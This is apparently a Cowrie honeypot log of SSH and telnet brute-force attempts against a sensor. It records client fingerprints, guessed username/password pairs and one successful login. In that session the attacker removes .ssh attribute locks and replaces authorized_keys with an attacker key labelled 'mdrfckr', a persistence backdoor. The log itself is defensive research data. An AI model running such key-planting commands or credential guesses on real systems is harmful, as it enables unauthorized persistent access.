{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:35.017813Z","src_ip":"159.203.92.129","session":"75cb16e06c29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qweasd","message":"login attempt [admin/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:35.034231Z","src_ip":"159.203.92.129","session":"75cb16e06c29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:36.071393Z","src_ip":"159.203.92.129","session":"75cb16e06c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":48592,"dst_ip":"10.17.0.5","dst_port":22,"session":"3571250332da","protocol":"ssh","message":"New connection: 176.53.96.10:48592 (10.17.0.5:22) [session: 3571250332da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:42.131560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:42.136814Z","src_ip":"176.53.96.10","session":"3571250332da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:42.259347Z","src_ip":"176.53.96.10","session":"3571250332da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test000","message":"login attempt [ubuntu/test000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:42.784803Z","src_ip":"176.53.96.10","session":"3571250332da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:43.911390Z","src_ip":"176.53.96.10","session":"3571250332da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00096559524536,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:46.414683Z","src_ip":"31.134.118.104","session":"52472dce1e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.118.104","src_port":48165,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e71444f459","protocol":"telnet","message":"New connection: 31.134.118.104:48165 (159.203.135.109:23) [session: 23e71444f459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:46.746389Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.118.104","src_port":47870,"dst_ip":"159.203.135.109","dst_port":23,"session":"a33b28ff6703","protocol":"telnet","message":"New connection: 31.134.118.104:47870 (159.203.135.109:23) [session: a33b28ff6703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:53.186528Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":59030,"dst_ip":"10.17.0.5","dst_port":22,"session":"4678b0073f4a","protocol":"ssh","message":"New connection: 165.154.5.148:59030 (10.17.0.5:22) [session: 4678b0073f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:08.864037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:08.868906Z","src_ip":"165.154.5.148","session":"4678b0073f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:09.084012Z","src_ip":"165.154.5.148","session":"4678b0073f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:09.962872Z","src_ip":"165.154.5.148","session":"4678b0073f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:11.178256Z","src_ip":"165.154.5.148","session":"4678b0073f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39662,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c46cfd456a5","protocol":"ssh","message":"New connection: 159.203.92.129:39662 (159.203.135.109:22) [session: 4c46cfd456a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:20.376952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:20.381592Z","src_ip":"159.203.92.129","session":"4c46cfd456a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:20.394316Z","src_ip":"159.203.92.129","session":"4c46cfd456a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123root","message":"login attempt [admin/123root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:20.455700Z","src_ip":"159.203.92.129","session":"4c46cfd456a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:21.493366Z","src_ip":"159.203.92.129","session":"4c46cfd456a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":37818,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ff1b5b60e4","protocol":"ssh","message":"New connection: 176.53.96.10:37818 (10.17.0.5:22) [session: 47ff1b5b60e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:39.288515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:39.293159Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:39.413750Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin321","message":"login attempt [admin/admin321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:39.929078Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.205768Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.208735Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.212589Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.336767Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.643790Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.647408Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.774735Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.778680Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":37824,"dst_ip":"10.17.0.5","dst_port":22,"session":"9777263ff675","protocol":"ssh","message":"New connection: 176.53.96.10:37824 (10.17.0.5:22) [session: 9777263ff675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.892480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:40.897503Z","src_ip":"176.53.96.10","session":"9777263ff675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:41.017358Z","src_ip":"176.53.96.10","session":"9777263ff675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:41.531953Z","src_ip":"176.53.96.10","session":"9777263ff675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:42.655823Z","src_ip":"176.53.96.10","session":"9777263ff675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":47552,"dst_ip":"10.17.0.5","dst_port":22,"session":"222c25fca356","protocol":"ssh","message":"New connection: 176.53.96.10:47552 (10.17.0.5:22) [session: 222c25fca356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:42.772498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:42.779926Z","src_ip":"176.53.96.10","session":"222c25fca356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs